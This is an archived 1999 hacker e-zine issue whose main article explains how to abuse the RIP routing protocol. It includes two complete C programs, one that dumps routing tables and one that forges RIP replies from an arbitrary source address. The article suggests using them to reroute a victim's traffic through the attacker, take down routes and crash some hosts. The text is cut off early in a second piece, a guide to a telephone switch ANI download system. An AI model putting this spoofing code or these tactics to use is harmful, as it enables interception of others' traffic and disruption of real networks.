home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / io_03.txt < prev    next >
Text File  |  1999-11-04  |  119KB  |  3,047 lines

  1.                         *************************
  2.                              [ I/O Magazine ]
  3.                         *************************
  4.                 Issue #3
  5.  
  6.  
  7.  
  8.                                 * STAFF *
  9.  
  10. Editor
  11. ~~~~~~
  12. Ryan Graciano   <tiepilot@city-net.com>
  13.  
  14.  
  15. Writers
  16. ~~~~~~~
  17. Ryan Graciano    <tiepilot@city-net.com>
  18. humble        <jmcdonal@unf.edu>
  19. Alex Jones    <cossack@mindless.com>
  20. PureNRG        (wishes to remain anonymous)
  21. ramdac        <delta@codenode.org>
  22.  
  23.  
  24.  
  25.               Produced through the support of Viewers Like You
  26.                                    and
  27.                           Hosted by AntiOnline
  28.  
  29.  
  30.  
  31.                                 * INDEX *
  32.  
  33.     Introduction....................................Ryan Graciano
  34.     Spoofing RIP (Routing Information Protocol).....humble
  35.     Authcode Download System (AADS).................PureNRG
  36.     Using O_NONBLOCK................................Ryan Graciano
  37.     Socket Programming Lesson (SPL) Part 2..........ramdac
  38.     Security and Conformity.........................Alex Jones
  39.     CDR/PDR Field Descriptions......................PureNRG
  40.     /var/spool/mail.................................Viewers Like You
  41.  
  42.  
  43.  
  44.  
  45. Introduction
  46. ~~~~~~~~~~~~
  47.     -by Ryan Graciano (tiepilot@city-net.com)
  48.  
  49.     It's alive!  Well, after a long hiatus, I/O is back in action
  50. with issue #3.  We received a lot of feedback concerning past issues, so
  51. this time around I have included /var/spool/mail, a forum for I/O to
  52. respond to some of your comments.  Above all, we received volumes of email
  53. wondering if I/O would be back, whether we had died, or sold out, or gone
  54. private, or were just tired of the whole thing.  Well, from now on, we are
  55. going to try to release a new I/O on a bi- or trimonthly basis.
  56.  
  57.     I suppose I owe you all an explanation for our, er, long development
  58. period :) Well, we were originally counting on putting this issue out in
  59. June, believe it or not.  However, due to some internal affairs at
  60. AntiOnline, and the stability of some of our writers, we decided to put
  61. things off for a while.  I/O officially came back into action in October,
  62. and put the finishing touches on issue #3, this issue, which has been
  63. put aside.
  64.  
  65.     I promise issue #4 will be on time :)  Look for it in the January
  66. to February range.  You will see announcements on AntiOnline regarding
  67. our next release, so despair not if we are a tad late.
  68.  
  69.     On to other matters.  As usual, I/O is in need of a few writers.
  70. In case you have not noticed yet, our staff pages from issue to issue are
  71. drastically different :)  At the current time, we are really lacking in
  72. stable contributors, and I am happy to accept submissions.  If you feel
  73. you can contribute to our cause, by all means do.
  74.  
  75.     I have also decided to open an editorial section of I/O- in issue
  76. #4, there will be a portion of the magazine devoted to rants and raves.
  77. Feel free to send in an essay regarding any aspect of the technical community,
  78. from actual technical topics to what you think of certain groups or outlooks 
  79. (ie, open sourcing policies vs. Microsoft's "we monopolize everything" 
  80. legacy).  You do not necessarily need a great deal of technical knowledge
  81. for a project such as this, just some strong opinions and reasoning to
  82. back them.
  83.  
  84.     We here at I/O put a lot into this comeback issue.  In the end,
  85. we hope you not only find it informative, but enjoyable.  On with the show.
  86.  
  87.  
  88.  
  89.  
  90.  
  91.  
  92. +EOT+
  93.  
  94.  
  95.  
  96.  
  97.  
  98.  
  99. Spoofing RIP (Routing Information Protocol) 
  100. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  101.     - by humble (jmcdonal@unf.edu)
  102.  
  103. Overview
  104. --------
  105.  
  106.     RIP is probably the easiest means of implementing dynamic routing
  107. that a network administrator has available. RIP is a protocol that is
  108. designed for small to medium size networks. The services needed to support
  109. RIP are provided with almost every TCP/IP implementation. Essentially,
  110. RIP provides a mechanism for a machine to keep an udpated routing table:
  111. one that represents the current state of the network. Routers periodically
  112. send a copy of their routing table to the subnet broadcast address,
  113. allowing other routers to learn these routes. If a certain route is not
  114. updated after a good period of time, it is assumed to have gone down.
  115. Thus, RIP provides a simple method for routers to propagate their routing
  116. information, and thus communicate this information to the hosts that the 
  117. router directly interacts with. 
  118.  
  119.     There are two versions of RIP that we must consider. The first
  120. version of RIP communicates its routing information relative to itself.
  121. For instance, a RIP v1 message looks like this: "If you would like to send
  122. your packets to this subnet, they will get here in X hops if you send
  123. them through me." A RIP v2 messages, on the other hand, communicates a lot
  124. more information. It says: "If you would like to send your packets to this
  125. subnet (with a subnet mask of X), then you can send it to this person and
  126. it will be X hops away from its destination." RIP version 2 communicates
  127. the knowledge of other routers to the network, while RIP version 1
  128. communicates just the knowledge of its routes. 
  129.  
  130.     RIP daemons can run in two modes: passive, or active. A passive
  131. daemon will sit on the network and watch the routers communicate their
  132. route information with each other. It will record this information, and
  133. the machine it is running on will have an updated routing table. The
  134. passive mode daemon will never advertise its routes, unless a special
  135. condition occurs. (We will cover that later.) The active mode daemon will
  136. continually advertise its routes to the network, and it will send its
  137. routing information to any machine that requests it. The active mode
  138. daemon is of course listening to the other routers' advertisements and
  139. incorporating them into its routing table. 
  140.  
  141. Implementation
  142. --------------
  143.  
  144.     As noted above, there are two versions of RIP that we must
  145. consider: RIPv1 and RIPv2. Both versions of the protocol use the same
  146. ports and general packet structure. The RIP version 2 simply fills in
  147. parts of the packet that version 1 mandates to be 0. 
  148.  
  149.     RIP messages are encapsulated in UDP datagrams bound to port 520.
  150. The datagram is broken out like this for version 1: 
  151.  
  152. 0......7  8......15 16......24 24......31
  153. |command| |version| |         0         |
  154.  
  155. | address family  | |         0         |
  156. |              IP address               |
  157. |                  0                    |
  158. |                  0                    |
  159. |                metric                 |
  160.   these five lines repeat for each route
  161.  
  162. A quick overview of the packet:
  163.  
  164. command - 1 is a request, 2 is a reply. There are other commands, but they 
  165.     are mostly obsolete or implementation specific.
  166. version - 1 for version 1, 2 for version 2.
  167. address family - 2 for IP addresses.. This is what we will be focusing on.
  168. ip address - the ip address of the advertised route.
  169. metric - (1-16) the number of hops to that route.
  170.  
  171.     So, what information is a RIP v1 message conveying?
  172.  
  173. Say you are a passive daemon and you are listening to the broadcast traffic.
  174. Say a router at 100.100.0.1 sends out a RIP message advertising:
  175. 100.100.16.0 with a metric of 3
  176.  
  177.     This means that if you had a packet destined for the 100.100.16.0
  178. subnet, and you sent it to the router at 100.100.0.1, it would go through
  179. 4 hops before it reached its destination. As a passive mode RIP daemon,
  180. you would look at your routing table and decide if 4 hops was better than
  181. the route you currently have recorded for that subnet. If you didn't have
  182. a route to that subnet, then you would add this route to your routing
  183. table. Now if this router didn't send out an update for this route for a
  184. long time (typically 3 minutes), you would know that the route has
  185. probably gone down. Instead of deleting the route entry from your routing
  186. table, you would set the metric to 16, indicating a dead link. If the
  187. metric on a particular route stays at 16 for a while, you would
  188. eventually delete it. 
  189.  
  190.     The reason for using 16 to represent a dead link is simple. If a
  191. router decides that a certain link is dead, because it hasn't recieved an
  192. update on it, it will mark the metric as 16. It will *still* advertise the
  193. route with a metric of 16. This way, other routers will pick up that the
  194. route is down. If the route comes back up, and a router advertises it at a
  195. lower metric, all the routers on the network will quickly propagate the
  196. new route. 
  197.  
  198. Let's look at version 2:
  199.  
  200. 0......7  8......15 16......24 24......31
  201. |command| |version| |   route domain    |
  202.  
  203. | address family  | |    route tag      |
  204. |              IP address               |
  205. |              subnet mask              |
  206. |               gateway                 |
  207. |                metric                 |
  208.   these five lines repeat for each route
  209.  
  210. There are a few major differences:
  211.  
  212. route domain:    This is a unique ID that a routing daemon can use to identify 
  213.     itself. The main purpose of this is so that an administrator can have 
  214.     two routing daemons running on the same router.
  215. route tag: "The route tag exists to support exterior gateway protocols. It 
  216.     carries an autonomous system number for EGP and BGP." (Stevens 136)
  217. subnet mask: This is one of the most important parts of RIP v2. If a daemon 
  218.     recieves a RIP v1 message that says, "I have a route for 135.23.4.0," 
  219.     what does that message actually mean? It could mean that it has a host 
  220.     route to 135.23.4.0, or it could mean the class C starting at the 
  221.     network number 135.23.4.0. It could mean anything. The daemon 
  222.         typically uses the subnet mask that is defined on the interface the 
  223.         RIP packet was recieved upon. This may or may not be a good idea. 
  224.         Therefore, in RIP v2, you can specify the subnet mask of the route you 
  225.         are trying to communicate.
  226. gateway: RIP v2 allows you to specify the gateway machine for a particular 
  227.     subnet. This way, a router can advertise routes for other routers, 
  228.     and the network will make itself more efficient. Normally, a router 
  229.     that wanted to go somewhere would pick up a route from another router 
  230.     running RIP, send its packets to that router, receive an ICMP redirect,
  231.     and adjust its routing tables accordingly. This eliminates all of this 
  232.     and adds more functionality to RIP.
  233.  
  234.     Also, it is important to note that RIP v2 offers a form of
  235. authentication. If you set the first entry of your RIP packet to have an
  236. address family of 0xffff (all 1's), and a route tag of 2, the remaining 16
  237. bytes can be used as a cleartext password. This authentication scheme is not 
  238. used often, so we don't need to worry about it.
  239.  
  240.     If you would like more information about the RIP protocol, consult
  241. W. Richard Steven's "TCP/IP Illustrated" (Chapter 10), and the relevant
  242. RFC's (1058,1388). 
  243.  
  244. Flaws
  245. -----
  246.  
  247.     RIP is a UDP based protocol with weak to non-existant
  248. authentication. Furthermore, it is stateless, meaning that a RIP daemon
  249. will honor replies even though it hasn't sent any requests. These factors
  250. make it very fun and easy to abuse. For this section of the article, I will be
  251. referring to code from the OpenBSD routed implementation (located in 
  252. /usr/src/sbin/routed). This code should be somewhat representative of the 
  253. daemons running on other unixes and routers. I choose this code because it 
  254. will probably be the most secure implementation of the RIP protocol available, 
  255. and thus our exploration will focus on the weaknesses of the protocol.
  256.  
  257.     The first thing we should try to do is to get a RIP daemon to send
  258. us its routing information. The code to send the request is program #1,
  259. rprobe. I did not write a program to receive and interpret the RIP
  260. datagrams, although it should be fairly easy to do. Instead, I invoke
  261. tcpdump like this on another window: 
  262.  
  263. tcpdump -vv -s 6000 udp and port 520
  264.  
  265.     Ok, let's look at the RIP daemon source code and try to figure out
  266. how we can get it to send us the routing information. 
  267.  
  268.     routed communicates with the kernel with a special socket of the
  269. AF_ROUTE domain.  It also listens for ICMP router discovery messages. We
  270. will be focusing on the code that handles RIP. Once routed starts up and
  271. initializes itself (by purging the kernel of all dynamically assigned
  272. routes and setting up its sockets), it enters an infinite loop. The loop
  273. basically does this: 
  274.  
  275.     Record the time.
  276.     Update its list of alive interfaces.
  277.     If it is in active mode, and it is time (once every 30 seconds), then 
  278.         broadcast its routing information out to the network.
  279.     Figure out its schedule.
  280.     Do a blocking select on all of its sockets, putting them in 
  281.         the read fd set. 
  282.     If it gets new routing information from the kernel, it calls read_rt().
  283.     If it gets new ICMP messages, it calls read_d().
  284.     If it gets any RIP message off of any interface, it calls read_rip(), 
  285.         passing it the socket and a description of the interface from 
  286.         which the socket was bound to.
  287.  
  288.     So, we want to look at read_rip(), which is located in input.c.
  289. read_rip() is a simple function, as it reads the packet off of the socket,
  290. handles any errors, and slams it into a struct rip. It then passes this
  291. structure to input(), which is also in input.c. 
  292.  
  293.     input() is the main function for handling RIP packets. It does a
  294. few sanity checks, namely making sure the version is correct, and the
  295. packet is of a tolerable length. Then we see a humurous comment in the
  296. code: 
  297.  
  298.         /* Notice authentication.
  299.          * As required by section 4.2 in RFC 1723, discard authenticated
  300.          * RIPv2 messages, but only if configured for that silliness.
  301.          *
  302.          * RIPv2 authentication is lame, since snooping on the wire makes
  303.          * its simple passwords evident.  Also, why authenticate queries?
  304.          * Why should a RIPv2 implementation with authentication disabled
  305.          * not be able to listen to RIPv2 packets with authenication, while
  306.          * RIPv1 systems will listen?  Crazy!
  307.          */
  308.  
  309.     Moving on, the function goes into a large switch statement based
  310. on the command value in the RIP packet. This implementation has code to
  311. handle RIP requests, RIP replies, and turning on RIP tracing remotely. We
  312. are trying to get the daemon to dump its routing tables to us, so let's
  313. look at the code to handle the request. First, it does some sanity checks,
  314. making sure the packet is the right length. Then, it loops through each
  315. routing message in the packet. This is the code at the very beginning of
  316. the loop: 
  317.  
  318.               /* A single entry with family RIP_AF_UNSPEC and
  319.                * metric HOPCNT_INFINITY means "all routes".
  320.                * We respond to routers only if we are acting
  321.                * as a supplier, or to anyone other than a router
  322.                * (i.e. a query).
  323.                */
  324.               if (n->n_family == RIP_AF_UNSPEC
  325.                   && n->n_metric == HOPCNT_INFINITY
  326.                   && n == rip->rip_nets
  327.                   && n+1 == lim) {
  328.                       if (from->sin_port != htons(RIP_PORT)) {
  329.                               /* Answer a query from a utility
  330.                                * program with all we know.
  331.                                */
  332.                               supply(from, sifp, OUT_QUERY, 0,
  333.                                      rip->rip_vers);
  334.                               return;
  335.                       }
  336.  
  337.     We can see in this part of the code a special case. If we send the
  338. daemon a RIP request with an address family of 0 and a metric of 16, then
  339. it will dump us its routing tables. That is, if we are not bound to the
  340. RIP port on our side of the socket. So, if a daemon is running in passive
  341. mode, we can get it to send us its routing information by sending a
  342. packet coming from any port besides 520. If we want to get an active
  343. daemon to send us its routing information, we should address it from port
  344. 520. From experience, I know that some routers will not respond unless
  345. the source port is 520. 
  346.  
  347.     We can see that the daemon does not really care who it is sending
  348. the information too. Thus, we should be able to write a simple UDP program
  349. that will send a datagram to a target host, (or better yet, the broadcast
  350. address of the target host), and it will respond to us. That program is
  351. rprobe, program #1. To use it, you should run tcpdump in one screen, and
  352. run rprobe in another. There is a program available called rtquery, which
  353. will do a very similiar thing, in a far more comprehensive manner, but it
  354. does not allow you to query a broadcast address (recompiling it with a
  355. SO_BROADCAST socket option should fix that). 
  356.  
  357.     Ok, so now we have a means of figuring out the routing information
  358. of all of the routers and hosts (running routed) on a RIP network. Now,
  359. let's look at the code that handles the RIP replies and see what rules
  360. there are in determining whether a particular routing entry is accepted.
  361.  
  362.     First, the packet length is verified to be correct. Then, the
  363. packet is discarded if it is not originating from port 520. The daemon
  364. makes sure that it is not reacting to packets that it has sent. Next, the
  365. daemon checks the router that the packet originated from. If it is not a
  366. router that is directly connected to it, and it is not in /etc/gateways,
  367. then the packet is discarded. These checks are all based upon the source
  368. IP of the packet. The daemon then makes sure the version is either RIP v1
  369. or v2. If the v2 authentication is being used, the daemon will check to
  370. make sure the password is correct. The daemon then loops through each
  371. route entry in the packet. 
  372.  
  373.     It makes sure that the address family is 2, for IPv4 addresses. 
  374. Then it calls check_dst(), passing it the address we specified as the
  375. destination in our routing entry. check_dst() (in if.c) just makes sure
  376. that the destination looks like a reasonable internet IP address. The
  377. daemon makes sure the metric is between 1 and 16. The daemon then attempts
  378. to verify the gateway address we have given. If it is dealing with a RIP
  379. v1 packet, then the gateway should be 0. However, the daemon appears to
  380. set the value to 0 if it is a RIPv2 packet also. I think this is an error
  381. in the OBSD code. I will see what tech@openbsd.org says. Anyway, if it
  382. does look at the gateway address, which it should, it makes sure that the
  383. specified gateway is on the same subnet as the interface which received
  384. the packet.  The daemon then verifies that the netmask is healthy and it
  385. also will attempt to infer the netmask if it is reading a RIP v1 packet.
  386. The daemon also figures that if it has a default route already, then it
  387. won't accept a new one dynamically. Ok... now we are getting into the
  388. stuff we are interested in. The daemon will break down one RIPv2 route
  389. into several RIPv1 routes if it is necessary in order to express that
  390. route with the RIPv1 netmask. Now, for each route that is to be added, the
  391. daemon calls input_route(), which is also in input.c
  392.  
  393.     If the route is not already in the routing table, and it doesn't
  394. specify the daemon machine's IP as the gateway, and it has a metric
  395. below 16, then it will be added to the machine's routing table. So, what
  396. this tells us is that we should be able to add any route we want to a
  397. machine running a RIP services, assuming it hasn't been added before. So,
  398. that's good, but what if we want to modify a machines routing table?
  399.  
  400.     This has some trickier rules. For each route that the daemon knows
  401. about, it keeps a list of "spares." This way, it records the route without
  402. actually committing to it. The first item in the spare list is the route
  403. that is actually being used. If the route change comes from the router
  404. that it is currently using, then it is immediately accepted. If the change
  405. involves the metric getting worse, it will look through its spares for a
  406. better option. However, if the daemon receives an update from one of its
  407. spares, it will consider making it the active route, if its metric is
  408. the best. Now, if the daemon receives a route update for a route that it
  409. knows about, but from an unknown router, then it will save the spare. It
  410. will only save the spare if it has a better metric than the current worst
  411. spare. 
  412.  
  413.     So, what have we learned from this? A route is basically the
  414. combination of a destination and a netmask. We should be able to add any
  415. route that we want that isn't in place, assuming the gateway is a machine
  416. on the same subnet as the host. We should also be able to change any route
  417. by offering a new one with a better metric.  In situations where the
  418. metric is 1, and we can't offer a better metric, we can still change the
  419. route. What we have to do to pull this off is to tell the machine that all
  420. of the routes it is currently using are of metric 16 (i.e. dead) and that
  421. the route we are offering has a metric of 1. If we can kill off all of the
  422. spares it has saved, then our route will win. 
  423.  
  424.     Program 2, srip, uses a raw socket to send spoofed RIPv1 or RIPv2
  425. messages from an arbitrary source IP. This code is tested on OpenBSD 2.3
  426. and the latest stable Debian release (I forget the version). 
  427.  
  428.     Ok, now we have the tools and the understanding... What are some
  429. of the fun things you can do with RIP? If you happen to find someone who's
  430. ISP is running RIP, you could send a route message from a dead host on
  431. their subnet, advertising a route to somewhere that person likes to go
  432. (think IRC server). Send it to their broadcast address, their default
  433. gateway will pick it up, and forward the packets on through to the dead
  434. host, while sending ICMP redirects to your victim the whole time. You
  435. could compile IP forwarding into your kernel, and set up routes from
  436. various machines that are on your subnet (but are not necessarily
  437. sniffable) to other hosts on your network. For instance, you could set it
  438. up such that everytime Bob telnets to Jim's computer, the packets bounce
  439. through you. 
  440.  
  441.     Also, if you can determine all of the routers on a subnet, you can
  442. force them into dropping routes that they have picked up dynamically by
  443. spoofing metric 16 routes. Remember, if you can guess what router is
  444. advertising a particular route, you can take that route down by spoofing
  445. packets from that router. On some implementations, you can almost bring
  446. machines to a halt by flooding them with RIP requests and forcing the
  447. kernel to keep growing and purging its routing table. I've noticed that
  448. some SunOS boxes and some OS/2 machines will actually crash if you fill
  449. up the kernel's routing table. (This is easy to do with ICMP redirects as
  450. well). Perhaps the most useful thing you can do with RIP is glean
  451. information about how a network is setup. If you can come up with any 
  452. interesting abuses of RIP, send me email. 
  453.  
  454. Example Code
  455. ------------
  456. Program 1: rprobe.c
  457. ----------------------
  458. #include <stdio.h> 
  459. #include <stdlib.h> 
  460. #include <errno.h> 
  461. #include <string.h> 
  462. #include <sys/types.h> 
  463. #include <netinet/in.h> 
  464. #include <netdb.h> 
  465. #include <sys/socket.h> 
  466. #include <sys/wait.h> 
  467. #include <unistd.h>
  468.  
  469. #define RIP_PORT  520
  470.  
  471. struct rip_message
  472. {
  473.     unsigned short family;
  474.     unsigned short tag;
  475.     unsigned long ip;
  476.     unsigned long netmask;
  477.     unsigned long gateway;
  478.     unsigned long metric;
  479. };
  480.  
  481. struct rip
  482. {
  483.     unsigned char command;
  484.     unsigned char version;
  485.     unsigned short domain;
  486.     struct rip_message routes[1];
  487. };
  488.  
  489. void usage(void)
  490. {
  491.     fprintf(stderr,"Usage: rprobe [-av] target\n");
  492.     fprintf(stderr," a:\t\tquery active mode daemons (requires root priveleges)\n");
  493.     fprintf(stderr," v:\t\tspecify rip version 2\n");
  494.     fprintf(stderr," target:\tdestination\n");
  495.     
  496.     exit(42);
  497. }
  498.  
  499. int main(int argc, char *argv[])
  500. {
  501.     int sockfd;
  502.     struct sockaddr_in their_addr;
  503.     struct sockaddr_in ours;
  504.     struct hostent *he;
  505.     char hostname[256];
  506.     int localport;
  507.     int numbytes;
  508.     int ch,version;
  509.     struct rip evil;
  510.     long on=1;
  511.  
  512.     localport=4242;
  513.     version=1;
  514.  
  515.     while ( (ch=getopt(argc,argv,"va")) != -1)
  516.     {
  517.         switch (ch)
  518.         {
  519.             case 'v': version=2;
  520.                 break;
  521.             case 'a': localport=RIP_PORT;
  522.                 break;
  523.             default : usage();
  524.         }
  525.     }
  526.  
  527.     argc-=optind;
  528.     argv+=optind;
  529.     
  530.     if (argc!=1) usage();
  531.  
  532.     strncpy(hostname,argv[0],sizeof(hostname));
  533.  
  534.     if ((he=gethostbyname(hostname)) == NULL) 
  535.     { 
  536.         herror("gethostbyname");
  537.         exit(1);
  538.     }
  539.  
  540.     if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) 
  541.     {
  542.         perror("socket");
  543.         exit(1);
  544.     }
  545.  
  546.     if (setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on))==-1)
  547.     {
  548.         perror("setsockopt");
  549.         exit(1);
  550.     }
  551.  
  552.     their_addr.sin_family = AF_INET;      /* host byte order */
  553.     their_addr.sin_port = htons(RIP_PORT);  /* short, network byte order */
  554.     their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  555.     bzero(&(their_addr.sin_zero), 8);     /* zero the rest of the struct */
  556.  
  557.     bzero(&ours,sizeof(struct sockaddr));
  558.     ours.sin_family = AF_INET;      /* host byte order */
  559.     ours.sin_port = htons(localport);  /* short, network byte order */
  560.     bzero(&(ours.sin_zero), 8);     /* zero the rest of the struct */
  561.  
  562.     bind(sockfd,(struct sockaddr *)&ours,sizeof(struct sockaddr));
  563.  
  564.     bzero(&evil,sizeof(struct rip));
  565.  
  566.     evil.command=1;
  567.     evil.version=version;
  568.     evil.routes[0].metric=htonl(16);
  569.  
  570.     printf("Sending packet.\n");
  571.     if ((numbytes=sendto(sockfd, &evil, sizeof(struct rip), 0, \
  572.                 (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1)
  573.     {
  574.         perror("recvfrom");
  575.         exit(1);
  576.            }
  577.     printf("Sent %d bytes.\n",numbytes);
  578.     close(sockfd);
  579.     exit(0);
  580. }
  581. ----------------------
  582. Program 2: srip.c
  583. ----------------------
  584. #include <stdio.h>
  585. #include <stdlib.h>
  586. #include <unistd.h>
  587. #include <netdb.h>
  588. #include <netinet/in.h>
  589. #include <netinet/udp.h>
  590. #include <arpa/inet.h>
  591. #include <sys/types.h>
  592. #include <sys/time.h>
  593. #include <sys/socket.h>
  594.  
  595. /* define our own structs so this will be easier to port*/
  596.  
  597. #define    IPVERSION    4
  598.  
  599. struct ip_header
  600. {
  601.     unsigned char  ip_hl:4,        /* header length */
  602.           ip_v:4;        /* version */
  603.     unsigned char  ip_tos;        /* type of service */
  604.     unsigned short ip_len;        /* total length */
  605.     unsigned short ip_id;        /* identification */
  606.     unsigned short ip_off;        /* fragment offset field */
  607. #define    IP_RF 0x8000            /* reserved fragment flag */
  608. #define    IP_DF 0x4000            /* dont fragment flag */
  609. #define    IP_MF 0x2000            /* more fragments flag */
  610. #define    IP_OFFMASK 0x1fff        /* mask for fragmenting bits */
  611.     unsigned char  ip_ttl;        /* time to live */
  612.     unsigned char  ip_p;            /* protocol */
  613.     unsigned short ip_sum;        /* checksum */
  614.     unsigned long ip_src, ip_dst; /* source and dest address */
  615. };
  616.  
  617. struct udp_header 
  618. {
  619.     unsigned short uh_sport;        /* source port */
  620.     unsigned short uh_dport;        /* destination port */
  621.     unsigned short uh_ulen;        /* udp length */
  622.     unsigned short uh_sum;        /* udp checksum */
  623. };
  624.  
  625. #define RIP_PORT  520
  626.  
  627. struct rip_message
  628. {
  629.     unsigned short family;
  630.     unsigned short tag;
  631.     unsigned long ip;
  632.     unsigned long netmask;
  633.     unsigned long gateway;
  634.     unsigned long metric;
  635. };
  636.  
  637. struct rip
  638. {
  639.     unsigned char command;
  640.     unsigned char version;
  641.     unsigned short domain;
  642.     struct rip_message routes[1];
  643. };
  644.  
  645. struct raw_pkt 
  646. {
  647.     struct ip_header ip; 
  648.     struct udp_header udp;
  649.     struct rip rip;
  650. };
  651.  
  652. struct raw_pkt* pkt;
  653.  
  654. unsigned long int get_ip_addr(char* str)
  655. {
  656.     struct hostent *hostp;
  657.     unsigned long int addr;
  658.     if ( (addr = inet_addr(str)) == -1)
  659.     {
  660.         if ( (hostp = gethostbyname(str)))
  661.             return *(unsigned long int*)(hostp->h_addr);
  662.           else 
  663.         {
  664.             fprintf(stderr,"unknown host %s\n",str);
  665.             exit(1);
  666.         }
  667.     }
  668.     return addr;
  669. }
  670.  
  671. unsigned short checksum(unsigned short* addr,char len)
  672. {
  673.     register long sum = 0;
  674.  
  675.     while(len > 1)
  676.     {
  677.         sum += *addr++;
  678.         len -= 2;
  679.     }
  680.     if(len > 0) sum += *addr;
  681.         while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
  682.  
  683.     return ~sum;
  684. }
  685.  
  686. void usage(void)
  687. {
  688.     printf("Usage: srip [-2] [-n netmask] [-g gateway] source dest target metric\n");
  689.     printf(" 2:\t\tRIP version 2\n");
  690.     printf(" n:\t\tnetmask (for version 2)\n");
  691.     printf(" g:\t\tgateway (for version 2)\n");
  692.     printf(" source:\tRIP packet sender\n");
  693.     printf(" dest:\t\tRIP packet destination\n");
  694.     printf(" target:\tadvertised route\n");
  695.     printf(" metric:\tadvertised metric\n");
  696.     exit(0);
  697. }
  698.  
  699. int main(int argc,char** argv)
  700. {
  701.     struct sockaddr_in sa;
  702.     int sock,packet_len;
  703.     int ch;
  704.  
  705.     long source,dest,target,netmask,gateway;
  706.     int version,metric;
  707.  
  708.     int on = 1;
  709.  
  710.     version=1;
  711.     netmask=0;
  712.     gateway=0;
  713.  
  714.     while ( (ch = getopt(argc,argv,"2n:g:"))!= -1 )
  715.     {
  716.         switch (ch)
  717.         {
  718.             case 'n': netmask=get_ip_addr(optarg);
  719.                 break;
  720.             case 'g': gateway=get_ip_addr(optarg);
  721.                 break;
  722.             case '2': version=2;
  723.                 break;
  724.             default:usage();
  725.                 break;
  726.         }
  727.     }
  728.  
  729.     argc-=optind;
  730.     argv+=optind;
  731.  
  732.     if (argc!=4)    usage();
  733.  
  734.     source=get_ip_addr(argv[0]);
  735.     dest=get_ip_addr(argv[1]);
  736.     target=get_ip_addr(argv[2]);
  737.     metric=atoi(argv[3]);
  738.  
  739.     if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  740.     {
  741.         perror("socket");
  742.         exit(1);
  743.     }
  744.  
  745.     if (setsockopt(sock,SOL_SOCKET,SO_BROADCAST,(char *)&on,sizeof(on))<0) 
  746.     {
  747.         perror("setsockopt: SO_BROADCAST");
  748.         exit(1);
  749.     }
  750.  
  751.     if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) 
  752.     {
  753.         perror("setsockopt: IP_HDRINCL");
  754.         exit(1);
  755.     }
  756.  
  757.     sa.sin_addr.s_addr = dest;
  758.     sa.sin_family = AF_INET;
  759.  
  760.     packet_len = sizeof(struct raw_pkt);
  761.     pkt = calloc((size_t)1,(size_t)packet_len);
  762.  
  763.     pkt->ip.ip_v = IPVERSION;
  764.     pkt->ip.ip_hl = sizeof(struct ip_header) >> 2;
  765.     pkt->ip.ip_tos = 0;
  766.     pkt->ip.ip_len = htons(packet_len);
  767.     pkt->ip.ip_id = htons(getpid() & 0xFFFF);
  768.     pkt->ip.ip_off = 0;
  769.     pkt->ip.ip_ttl = 0xdf;
  770.     pkt->ip.ip_p = IPPROTO_UDP ;//UDP
  771.     pkt->ip.ip_sum = 0;
  772.     pkt->ip.ip_src = source;
  773.     pkt->ip.ip_dst = sa.sin_addr.s_addr;
  774.     pkt->ip.ip_sum = checksum((unsigned short*)pkt,sizeof(struct ip_header));
  775.  
  776.     pkt->udp.uh_sport = htons(520);
  777.     pkt->udp.uh_dport = htons(520);
  778.     pkt->udp.uh_ulen = htons(sizeof(struct udp_header)+sizeof(struct rip));
  779.     pkt->udp.uh_sum = 0;
  780.  
  781.     pkt->rip.command = 2;
  782.     pkt->rip.version = version;
  783.     pkt->rip.routes[0].family = htons(2);
  784.     pkt->rip.routes[0].ip = target;
  785.     pkt->rip.routes[0].metric = htonl(metric);
  786.  
  787.     //putting in the udp checksum breaks it.
  788.     //someone email and explain this to me :>
  789.     //pkt->udp.uh_sum = checksum((unsigned short*)&(pkt->udp),
  790.     //sizeof(struct udp_header)+sizeof(struct rip));
  791.  
  792.     if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
  793.     {
  794.         perror("sendto");
  795.         exit(1);
  796.     }
  797. }
  798. ----------------------
  799.  
  800. Sources
  801. -------
  802. TCP/IP Illustrated Volume 1 by W. Richard Stevens
  803. OpenBSD 2.3 routed source code (deraadt / Berkeley)
  804.  
  805.  
  806.  
  807.  
  808.  
  809.  
  810. +EOT+
  811.  
  812.  
  813.  
  814.  
  815.  
  816.  
  817. Authcode Download System (AADS)
  818. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  819.     -by PureNRG
  820.  
  821. DESCRIPTION
  822. -----------
  823.  
  824. ANI/Authcode Download System (AADS) is a batch processing system designed
  825. to allow for the download of ANI's and authcodes to switches. The actual
  826. interface is unimportant, since you can successfully figure it out remotely
  827. with this guide. For our purposes, we will deal only with the ANI portion. 
  828.  
  829.  
  830. LOGON
  831. -----
  832.  
  833.      At the COMS main menu, select AADS.
  834.  
  835.      At the AADS main menu, place an "S" beside the "Switch Maintenance" 
  836.      option. (This is the only section that we will be concerned with.) 
  837.  
  838.      At the "Switch Maintenance Menu" the options we will use are as follows: 
  839.  
  840.      ANI Browse/Select 
  841.      ANI Maintenance 
  842.      ANI Inquire 
  843.      ANI Update 
  844.      ANI History Inquiry 
  845.  
  846. Here is a brief summary of what each of the options' functions are. Based
  847. upon what you want to do or see, you can select one of the options and
  848. PF10 back to the menu to perform additional functions. 
  849.  
  850.    1. ANI Browse/Select 
  851.    *   This screen lists valid active ANI's and associated information ordered 
  852.        by NPA. You can select an ANI for (I)nquire, (U)pdate, (D)eletion, and 
  853.        (H)istorical Inquire. You can also access existing Notes or the Note 
  854.        Add screen (PF keys will be listed on the bottom). 
  855.  
  856.    2. ANI Maintenance 
  857.    *   This screen allows you to enter up to 12 ANI's at one time for entry 
  858.        into AADS and update the Switch Network. There are 7 required fields 
  859.        that must have information entered for the download to complete. 
  860.  
  861.    3. NPA 
  862.  
  863.    4. NXX 
  864.  
  865.    5. Station 
  866.  
  867.    6. Class of service: 23 digit numeric. 
